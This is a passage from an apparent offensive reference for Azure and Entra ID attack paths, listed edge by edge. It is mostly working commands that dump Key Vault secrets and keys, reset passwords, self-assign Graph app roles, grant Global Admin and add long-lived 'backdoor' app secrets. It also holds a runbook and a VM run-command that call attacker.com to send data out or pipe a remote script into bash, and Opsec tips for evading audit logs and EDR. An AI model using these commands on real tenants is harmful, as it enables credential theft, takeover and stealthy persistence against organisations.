# Grant yourself secret read on the vault
az keyvault set-policy --name <vault-name> \
--object-id <object-id> \
--secret-permissions get list
# List and retrieve secrets
az keyvault secret list --vault-name <vault-name> --query '[].id' -o tsv | \
xargs -I{} az keyvault secret show --id {} --query 'value' -o tsv
Automation Account β create malicious runbook
# Upload runbook that exfils credentials or spawns reverse shell
az automation runbook create \
--resource-group <resource-group> \
--automation-account-name <automation-account> \
--name evil-runbook \
--type PowerShell
az automation runbook replace-content \
--resource-group <resource-group> \
--automation-account-name <automation-account> \
--name evil-runbook \
--content 'Invoke-WebRequest -Uri "https://attacker.com/?d=$(whoami)"'
az automation runbook publish \
--resource-group <resource-group> \
--automation-account-name <automation-account> \
--name evil-runbook
az automation runbook start \
--resource-group <resource-group> \
--automation-account-name <automation-account> \
--name evil-runbook
VM β run command as SYSTEM/root
az vm run-command invoke \
--resource-group <resource-group> \
--name <vm-name> \
--command-id RunPowerShellScript \
--scripts "whoami; hostname; cat C:\Users\Administrator\Desktop\root.txt"
# Linux VM
az vm run-command invoke \
--resource-group <resource-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts "id; cat /root/root.txt; curl https://attacker.com/shell.sh | bash"
Windows Abuse
PowerZure β run command on VM
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Invoke-AzureRunCommand -ResourceGroup <resource-group> -VM <vm-name> -Command 'whoami'
Invoke-AzureRunMSBuild -ResourceGroup <resource-group> -VM <vm-name>
Invoke-AzureRunProgram -ResourceGroup <resource-group> -VM <vm-name> -Program 'cmd.exe' -Arguments '/c whoami'
Az PowerShell β run command on VM
Invoke-AzVMRunCommand `
-ResourceGroupName <resource-group> `
-VMName <vm-name> `
-CommandId RunPowerShellScript `
-ScriptString 'whoami; hostname'
Key Vault β dump secrets
# Grant access
Set-AzKeyVaultAccessPolicy -VaultName <vault-name> -ObjectId <object-id> -PermissionsToSecrets get,list
# Dump
Get-AzKeyVaultSecret -VaultName <vault-name> | ForEach-Object {
$secret = Get-AzKeyVaultSecret -VaultName <vault-name> -Name $_.Name -AsPlainText
Write-Output "$($_.Name) = $secret"
}
Automation Account β steal RunAs certificate
# PowerZure
Get-AzureRunAsCertificate -ResourceGroup <resource-group> -AutomationAccount <automation-account>
Opsec
- Azure Activity Log records all resource modification actions including runbook creation and execution.
- VM run-command leaves artifacts in guest OS logs (Event ID 4688 on Windows, shell history on Linux).
- Key Vault access is logged per-secret with actor and timestamp.
- Prefer runbook execution via existing scheduled runbooks to blend with normal operations.
- EDR solutions on VMs may flag
Invoke-AzVMRunCommandpayloads β use MSBuild or signed binaries.
AZGetSecrets
The source principal has permission to read secrets from the target Azure Key Vault, enabling extraction of credentials, certificates, and cryptographic keys stored within.
Applies to: User / ServicePrincipal β AZKeyVault
Linux Abuse
Azure CLI β list and retrieve all secrets
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
# List all secrets in vault
az keyvault secret list --vault-name <vault-name> --query '[].{Name:name, Enabled:attributes.enabled}' -o table
# Retrieve a specific secret value
az keyvault secret show --vault-name <vault-name> --name <secret-name> --query 'value' -o tsv
# Dump ALL secret values
az keyvault secret list --vault-name <vault-name> --query '[].id' -o tsv | \
xargs -I{} az keyvault secret show --id {} --query 'value' -o tsv
List and download certificates
az keyvault certificate list --vault-name <vault-name>
az keyvault certificate download --vault-name <vault-name> --name <cert-name> --file cert.pem
List and export keys
az keyvault key list --vault-name <vault-name>
az keyvault key download --vault-name <vault-name> --name <key-name> --file key.json
Graph API β enumerate key vaults via ARM
ARM_TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://management.azure.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
# List all key vaults in subscription
curl -s "https://management.azure.com/subscriptions/<subscription-id>/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01" \
-H "Authorization: Bearer $ARM_TOKEN" | jq '.value[].name'
Key Vault REST API β read secret directly
KV_TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://vault.azure.net/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s "https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4" \
-H "Authorization: Bearer $KV_TOKEN" | jq '.value'
# List all secrets
curl -s "https://<vault-name>.vault.azure.net/secrets?api-version=7.4" \
-H "Authorization: Bearer $KV_TOKEN" | jq '.value[].id'
Windows Abuse
PowerZure β dump key vault contents
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Get-AzureKeyVaultContent -VaultName <vault-name>
Export-AzureKeyVaultContent -VaultName <vault-name> -Path C:\loot\
Az PowerShell β dump all secrets
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Get-AzKeyVaultSecret -VaultName <vault-name> | ForEach-Object {
$val = Get-AzKeyVaultSecret -VaultName <vault-name> -Name $_.Name -AsPlainText
Write-Output "$($_.Name) = $val"
}
Az PowerShell β list all vaults in subscription and dump
Get-AzKeyVault | ForEach-Object {
$vaultName = $_.VaultName
Write-Output "=== $vaultName ==="
Get-AzKeyVaultSecret -VaultName $vaultName | ForEach-Object {
$val = Get-AzKeyVaultSecret -VaultName $vaultName -Name $_.Name -AsPlainText
Write-Output " $($_.Name) = $val"
}
}
Az PowerShell β export certificate with private key
$cert = Get-AzKeyVaultCertificate -VaultName <vault-name> -Name <cert-name>
$secret = Get-AzKeyVaultSecret -VaultName <vault-name> -Name <cert-name>
$secretBytes = [System.Convert]::FromBase64String($secret.SecretValueText)
[System.IO.File]::WriteAllBytes("C:\loot\cert.pfx", $secretBytes)
Opsec
- Every secret access generates a Key Vault audit log event with actor identity, secret name, and timestamp.
- Key Vault diagnostic logs must be enabled to capture these events β but in security-mature environments they always are.
- Bulk reads (
xargsorForEach-Object) create many sequential log entries β throttle or spread requests. - Prefer reading secrets via the Key Vault REST API (separate token scope:
https://vault.azure.net) to avoid ARM-layer logging. - Certificates exported with private keys (PFX) can be used for SP authentication β higher value than plain secrets.
AZGlobalAdmin
The source principal holds the Global Administrator role in Entra ID, granting full control over the tenant.
Applies to: User / ServicePrincipal β AZTenant
Linux Abuse
Step 1 β Elevate to User Access Administrator over all subscriptions
# Must be done via REST β enables Azure resource management
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://management.azure.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s -X POST \
"https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Length: 0"
Step 2 β Reset any user's password
GRAPH_TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s -X PATCH "https://graph.microsoft.com/v1.0/users/<target-user-id>" \
-H "Authorization: Bearer $GRAPH_TOKEN" \
-H "Content-Type: application/json" \
-d '{"passwordProfile": {"password": "<new-password>", "forceChangePasswordNextSignIn": false}}'
Assign Global Admin to any user
# Get role definition ID for Global Administrator
curl -s "https://graph.microsoft.com/v1.0/directoryRoles?\$filter=displayName eq 'Global Administrator'" \
-H "Authorization: Bearer $GRAPH_TOKEN"
curl -s -X POST "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members/\$ref" \
-H "Authorization: Bearer $GRAPH_TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Windows Abuse
Elevate to User Access Administrator (PowerZure)
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Set-AzureElevatedPrivileges
Elevate via Az PowerShell
$uri = "https://management.azure.com/providers/Microsoft.Authorization/elevateAccess?api-version=2016-07-01"
Invoke-RestMethod -Method POST -Uri $uri -Headers @{Authorization = "Bearer <access-token>"}
Reset any user's password (Microsoft.Graph PowerShell)
Connect-MgGraph -AccessToken <access-token>
Update-MgUser -UserId <target-user-id> `
-PasswordProfile @{Password = "<new-password>"; ForceChangePasswordNextSignIn = $false}
Assign Global Admin role to controlled user
$roleId = (Get-MgDirectoryRole -Filter "displayName eq 'Global Administrator'").Id
New-MgDirectoryRoleMember -DirectoryRoleId $roleId -DirectoryObjectId <object-id>
Add controlled SP to group (Microsoft.Graph PowerShell)
New-MgGroupMember -GroupId <target-group-id> -DirectoryObjectId <object-id>
Read all key vault secrets after ARM elevation
Get-AzKeyVault | ForEach-Object {
Set-AzKeyVaultAccessPolicy -VaultName $_.VaultName -ObjectId <object-id> -PermissionsToSecrets get,list
Get-AzKeyVaultSecret -VaultName $_.VaultName
}
Opsec
- ARM elevation ("elevateAccess") is logged and generates an alert in many SOC environments.
- Password resets log in Entra ID audit with actor, target, and timestamp.
- Role assignments log as "Add member to role" events.
- Prefer assigning roles to a service principal (less visible) over an interactive user account.
- Cloud Shell access from Global Admin context can be weaponized without additional tooling.
AZGrant
The source service principal has been granted an app role (application permission) on the target service principal, allowing it to act with that permission against the corresponding API without user interaction.
Applies to: AZServicePrincipal β AZServicePrincipal (MS Graph or other API resource)
Linux Abuse
Enumerate granted app roles
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
# List app role assignments on the service principal
az ad sp show --id <app-id> --query 'appRoles'
# Via Graph API
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {appRoleId, resourceDisplayName}'
Use granted MS Graph permissions directly
# With client_credentials grant, get token scoped to the target API
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
# Example: if granted User.ReadWrite.All β reset a password
curl -s -X PATCH "https://graph.microsoft.com/v1.0/users/<target-user-id>" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"passwordProfile": {"password": "<new-password>", "forceChangePasswordNextSignIn": false}}'
# Example: if granted RoleManagement.ReadWrite.Directory β assign Global Admin
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
# Example: if granted GroupMember.ReadWrite.All β add member to group
curl -s -X POST "https://graph.microsoft.com/v1.0/groups/<target-group-id>/members/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Windows Abuse
Enumerate and abuse via Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
# Enumerate what app roles the SP holds
Get-MgServicePrincipalAppRoleAssignment -ServicePrincipalId <object-id> |
Select-Object AppRoleId, ResourceDisplayName
# Get client_credentials token and call Graph based on granted roles
$body = @{
client_id = "<app-id>"
client_secret = "<secret>"
scope = "https://graph.microsoft.com/.default"
grant_type = "client_credentials"
}
$token = (Invoke-RestMethod -Method POST `
-Uri "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" `
-Body $body).access_token
# Use token with any MgGraph call
Connect-MgGraph -AccessToken $token
Grant additional app roles to self (if AZMGGrantAppRoles also held)
New-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId "<object-id>" `
-PrincipalId "<object-id>" `
-ResourceId "<resource-sp-id>" `
-AppRoleId "<role-id>"
Opsec
- App role assignments are visible in Entra ID under Enterprise Applications β Permissions.
- Using granted permissions via client_credentials does not generate interactive sign-in events.
- Audit logs record Graph API calls at the resource level, not the permission-grant level.
- High-value roles to look for:
RoleManagement.ReadWrite.Directory,User.ReadWrite.All,GroupMember.ReadWrite.All,Application.ReadWrite.All.
AZGrantSelf
The source service principal can grant app roles to itself on the target resource SP β effectively self-assigning any application permission without admin consent from another principal.
Applies to: AZServicePrincipal β AZServicePrincipal (resource)
Linux Abuse
Self-assign RoleManagement.ReadWrite.Directory (curl)
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
# Get MS Graph SP object ID
GRAPH_SP_ID=$(curl -s \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" \
-H "Authorization: Bearer $TOKEN" | jq -r '.value[0].id')
# Self-assign RoleManagement.ReadWrite.Directory (app role ID)
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"principalId\": \"<object-id>\",
\"resourceId\": \"$GRAPH_SP_ID\",
\"appRoleId\": \"9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8\"
}"
After self-grant β assign Global Admin to controlled principal
curl -s -X POST "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"principalId": "<object-id>",
"roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
"directoryScopeId": "/"
}'
Self-assign User.ReadWrite.All then reset password
# App role ID for User.ReadWrite.All: 741f803b-c850-494e-b5df-cde7c675a1ca
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{
\"principalId\": \"<object-id>\",
\"resourceId\": \"$GRAPH_SP_ID\",
\"appRoleId\": \"741f803b-c850-494e-b5df-cde7c675a1ca\"
}"
Windows Abuse
BARK β self-grant app role
$Token = Get-MSGraphTokenWithClientCredentials `
-ClientID "<app-id>" -ClientSecret "<secret>" -TenantName "<tenant-id>"
# Get MS Graph SP ID
$GraphSP = Get-MgServicePrincipal -Filter "appId eq '00000003-0000-0000-c000-000000000000'"
New-MgServicePrincipalAppRoleAssignment `
-ServicePrincipalId "<object-id>" `
-PrincipalId "<object-id>" `
-ResourceId $GraphSP.Id `
-AppRoleId "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" # RoleManagement.ReadWrite.Directory
Microsoft.Graph PowerShell β then escalate
Connect-MgGraph -AccessToken <access-token>
# After self-granting RoleManagement.ReadWrite.Directory
$params = @{
principalId = "<object-id>"
roleDefinitionId = "62e90394-69f5-4237-9190-012177145e10"
directoryScopeId = "/"
}
New-MgRoleManagementDirectoryRoleAssignment @params
Key App Role IDs (MS Graph)
| Permission | App Role ID |
|---|---|
| RoleManagement.ReadWrite.Directory | 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 |
| User.ReadWrite.All | 741f803b-c850-494e-b5df-cde7c675a1ca |
| GroupMember.ReadWrite.All | dbaae8cf-10b5-4b86-a4a1-f871c94c6695 |
| Application.ReadWrite.All | 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9 |
| Directory.ReadWrite.All | 19dbc75e-c2e2-444c-a770-ec69d8559fc7 |
Opsec
- Self-granting generates an audit log event: "Add app role assignment to service principal."
- This is invisible in the Azure portal UI under Enterprise Apps but visible in audit logs.
- Token obtained via client_credentials after self-grant does not trigger interactive sign-in alerts.
AZHasRole
The source principal has been assigned a specific Entra ID directory role. This edge describes the role assignment β abuse depends entirely on which role is held.
Applies to: User / ServicePrincipal β AZRole (Entra ID directory roles)
Linux Abuse
Enumerate held roles for a principal
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
az ad user get-member-objects --id <target-user-id> --security-enabled-only false
# Via Graph API
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s "https://graph.microsoft.com/v1.0/users/<target-user-id>/memberOf/microsoft.graph.directoryRole" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {displayName, roleTemplateId}'
# For service principals
curl -s "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/memberOf/microsoft.graph.directoryRole" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {displayName, roleTemplateId}'
Get all active role assignments in tenant
curl -s "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments?\$expand=principal,roleDefinition" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {principalDisplayName: .principal.displayName, role: .roleDefinition.displayName}'
Windows Abuse
Microsoft.Graph PowerShell β enumerate roles
Connect-MgGraph -AccessToken <access-token>
# User roles
Get-MgUserMemberOf -UserId <target-user-id> | Where-Object {$_.'@odata.type' -eq '#microsoft.graph.directoryRole'} |
Select-Object DisplayName, Id
# SP roles
Get-MgServicePrincipalMemberOf -ServicePrincipalId <object-id> |
Where-Object {$_.'@odata.type' -eq '#microsoft.graph.directoryRole'} |
Select-Object DisplayName, Id
# All role assignments
Get-MgRoleManagementDirectoryRoleAssignment -ExpandProperty "principal,roleDefinition" |
Select-Object @{n='Principal';e={$_.Principal.DisplayName}}, @{n='Role';e={$_.RoleDefinition.DisplayName}}
Follow-up abuse based on role held
| Role Held | Next Step |
|---|---|
| Global Administrator | See AZGlobalAdmin |
| Privileged Role Administrator | See AZPrivilegedRoleAdmin |
| User Access Administrator | See AZUserAccessAdmin |
| Application Administrator | Add secrets to any app registration |
| Cloud Application Administrator | Add secrets to non-directory apps |
| Password Administrator | Reset non-admin user passwords |
| Groups Administrator | Add/remove members from any group |
| Exchange Administrator | Access mailboxes via EWS/Graph |
Application Administrator β add secret to any app
Connect-MgGraph -AccessToken <access-token>
Add-MgApplicationPassword -ApplicationId <object-id> -PasswordCredential @{DisplayName="backdoor"}
Opsec
- The AZHasRole edge itself requires no action β it documents existing access.
- Abuse actions taken using the role's privileges generate their own audit events.
- PIM-eligible roles (AZRoleEligible) must be activated first before abuse β activation is logged.
AZMemberOf
The source principal is a member of the target Entra ID security group, inheriting all privileges assigned to that group.
Applies to: User / ServicePrincipal / Device β AZGroup
Linux Abuse
Enumerate group memberships
az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>
az ad user get-member-objects --id <target-user-id> --security-enabled-only false
# All groups the user belongs to
az ad user member-of --id <target-user-upn>
Graph API β enumerate transitive memberships
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
curl -s "https://graph.microsoft.com/v1.0/users/<target-user-id>/transitiveMemberOf" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | {displayName, id, "@odata.type"}'
Enumerate group's assigned roles and permissions
# What Entra ID roles does the group have?
curl -s "https://graph.microsoft.com/v1.0/groups/<target-group-id>/memberOf/microsoft.graph.directoryRole" \
-H "Authorization: Bearer $TOKEN" | jq '.value[] | .displayName'
# What Azure RBAC roles does the group have?
az role assignment list --assignee <target-group-id> --all
Windows Abuse
Microsoft.Graph PowerShell β enumerate memberships
Connect-MgGraph -AccessToken <access-token>
# Direct memberships
Get-MgUserMemberOf -UserId <target-user-id> | Select-Object DisplayName, Id
# Transitive (nested groups)
Get-MgUserTransitiveMemberOf -UserId <target-user-id> | Select-Object DisplayName, Id
# SP memberships
Get-MgServicePrincipalMemberOf -ServicePrincipalId <object-id> | Select-Object DisplayName, Id
Az PowerShell β check group's Azure RBAC roles
Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Get-AzRoleAssignment -ObjectId <target-group-id>
Opsec
- This edge indicates inherited access β no action needed against the edge itself.
- Abuse the privileges the group grants (RBAC roles, Entra ID roles, app role assignments).
- Check nested group membership β a user in Group A may get Group B's privileges if A is nested in B.
- Use
transitiveMemberOfto catch indirect role inheritance through nested groups.
AZMGAddMember
The source service principal has been granted an MS Graph app role that allows it to add members to groups (GroupMember.ReadWrite.All or equivalent), enabling group membership manipulation via the MS Graph API.
Applies to: AZServicePrincipal β AZGroup (via MS Graph API)
Linux Abuse
Get client credentials token
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Add principal to group (Graph API)
curl -s -X POST "https://graph.microsoft.com/v1.0/groups/<target-group-id>/members/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Add to role-assignable group (requires RoleManagement.ReadWrite.Directory)
# Same endpoint β works if SP also holds the RoleManagement role
curl -s -X POST "https://graph.microsoft.com/v1.0/groups/<target-group-id>/members/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Windows Abuse
BARK β get token and add member
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
Add-AZMemberToGroup `
-PrincipalID "<object-id>" `
-TargetGroupId "<target-group-id>" `
-Token $MGToken.access_token
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
New-MgGroupMember -GroupId <target-group-id> -DirectoryObjectId <object-id>
Add self to Global Admin group (if role-assignable group exists)
# Find Global Administrators role-assignable group
$group = Get-MgGroup -Filter "isAssignableToRole eq true and displayName eq 'Global Administrators'"
New-MgGroupMember -GroupId $group.Id -DirectoryObjectId <object-id>
Required App Roles (MS Graph)
| Permission | App Role ID |
|---|---|
| GroupMember.ReadWrite.All | dbaae8cf-10b5-4b86-a4a1-f871c94c6695 |
| Group.ReadWrite.All | 62a82d76-70ea-41e2-9197-370581804d09 |
| Directory.ReadWrite.All | 19dbc75e-c2e2-444c-a770-ec69d8559fc7 |
| RoleManagement.ReadWrite.Directory (role-assignable groups) | 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 |
Opsec
- Entra ID audit log records: actor SP, target group, added principal, timestamp.
- This capability is not visible in Azure Portal β requires checking audit logs or API inspection.
- Adding self to a privileged group is high-signal; prefer adding to an intermediate group.
- client_credentials token acquisition does not generate interactive sign-in events.
AZMGAddOwner
The source service principal holds MS Graph app roles that allow it to add owners to groups, applications, or service principals via the MS Graph API.
Applies to: AZServicePrincipal β AZGroup / AZApplication / AZServicePrincipal
Linux Abuse
Get client credentials token
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Add owner to group (Graph API)
curl -s -X POST "https://graph.microsoft.com/v1.0/groups/<target-group-id>/owners/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Add owner to application (Graph API)
curl -s -X POST "https://graph.microsoft.com/v1.0/applications/<object-id>/owners/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Add owner to service principal (Graph API)
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/owners/\$ref" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/<object-id>\"}"
Windows Abuse
BARK β add owner to Service Principal
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
New-ServicePrincipalOwner `
-ServicePrincipalObjectId "<object-id>" `
-NewOwnerObjectId "<object-id>" `
-Token $MGToken.access_token
BARK β add owner to App Registration
New-AppOwner `
-AppObjectId "<object-id>" `
-NewOwnerObjectId "<object-id>" `
-Token $MGToken.access_token
BARK β add owner to Group
New-GroupOwner `
-GroupObjectId "<target-group-id>" `
-NewOwnerObjectId "<object-id>" `
-Token $MGToken.access_token
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
# Group owner
New-MgGroupOwner -GroupId <target-group-id> -DirectoryObjectId <object-id>
# Application owner
New-MgApplicationOwner -ApplicationId <object-id> -DirectoryObjectId <object-id>
# Service principal owner
New-MgServicePrincipalOwner -ServicePrincipalId <object-id> -DirectoryObjectId <object-id>
Post-Ownership Escalation
Once owner of an app registration, add a secret to impersonate the SP:
Add-MgApplicationPassword -ApplicationId <object-id> `
-PasswordCredential @{DisplayName = "backdoor"}
Opsec
- Entra ID audit logs record every ownership addition: actor, target object, new owner, timestamp.
- Event name: "Add owner to application" / "Add owner to service principal" / "Add owner to group."
- Owning an app registration enables client secret addition β a second distinct audit event.
AZMGAddSecret
The source service principal holds MS Graph app roles (Application.ReadWrite.All or RoleManagement.ReadWrite.Directory) that allow it to add client secrets or certificates to any app registration or service principal.
Applies to: AZServicePrincipal β AZApplication / AZServicePrincipal
Linux Abuse
Get client credentials token
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Add secret to app registration (Graph API)
curl -s -X POST "https://graph.microsoft.com/v1.0/applications/<object-id>/addPassword" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"passwordCredential": {"displayName": "backup", "endDateTime": "2099-01-01T00:00:00Z"}}' \
| jq '{secretText: .secretText, keyId: .keyId}'
Add secret to service principal (Graph API)
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/addPassword" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"passwordCredential": {"displayName": "backup"}}' \
| jq '{secretText: .secretText, keyId: .keyId}'
Use new secret to authenticate as target SP
NEW_TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<new-secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Windows Abuse
BARK β get token and add secret
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
New-EntraAppSecret `
-AppRegObjectID "<object-id>" `
-Token $MGToken.access_token
Authenticate as target SP with new secret
$SPToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "<target-app-id>" `
-ClientSecret "<new-secret-value>" `
-TenantName "contoso.onmicrosoft.com"
Microsoft.Graph PowerShell
Connect-MgGraph -AccessToken <access-token>
# Add secret to app registration
$secret = Add-MgApplicationPassword -ApplicationId <object-id> `
-PasswordCredential @{DisplayName = "backdoor"; EndDateTime = "2099-01-01T00:00:00Z"}
$secret.SecretText
# Add secret to service principal
$secret = Add-MgServicePrincipalPassword -ServicePrincipalId <object-id> `
-PasswordCredential @{DisplayName = "backdoor"}
$secret.SecretText
Azure CLI β add secret to app
az ad app credential reset \
--id <app-id> \
--append \
--display-name backdoor \
--years 10
Required App Roles
| Permission | App Role ID |
|---|---|
| Application.ReadWrite.All | 1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9 |
| RoleManagement.ReadWrite.Directory | 9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8 |
Opsec
- Audit event: "Update application - Certificates and secrets management" β logs actor, target app, timestamp.
- The new secret value is only shown at creation time β capture it immediately.
- Secrets set far in the future (
2099) avoid expiry-based rotation detection. - Multiple secrets on one app may trigger anomaly alerts in mature environments.
AZMGGrantAppRoles
The source service principal holds the MS Graph app role AppRoleAssignment.ReadWrite.All (or equivalent), allowing it to grant any MS Graph application permission to any service principal β enabling full tenant compromise.
Applies to: AZServicePrincipal β AZServicePrincipal (MS Graph)
Linux Abuse
Step 1 β Get client credentials token
TOKEN=$(curl -s -X POST \
"https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials" \
| jq -r '.access_token')
Step 2 β Get MS Graph service principal object ID
GRAPH_SP_ID=$(curl -s \
"https://graph.microsoft.com/v1.0/servicePrincipals?\$filter=appId eq '00000003-0000-0000-c000-000000000000'" \
-H "Authorization: Bearer $TOKEN" | jq -r '.value[0].id')
Step 3 β Grant RoleManagement.ReadWrite.Directory to controlled SP
curl -s -X POST "https://graph.microsoft.com/v1.0/servicePrincipals/<object-id>/appRoleAssignments" \
-H "Authorization: Bearer $TOKEN" \
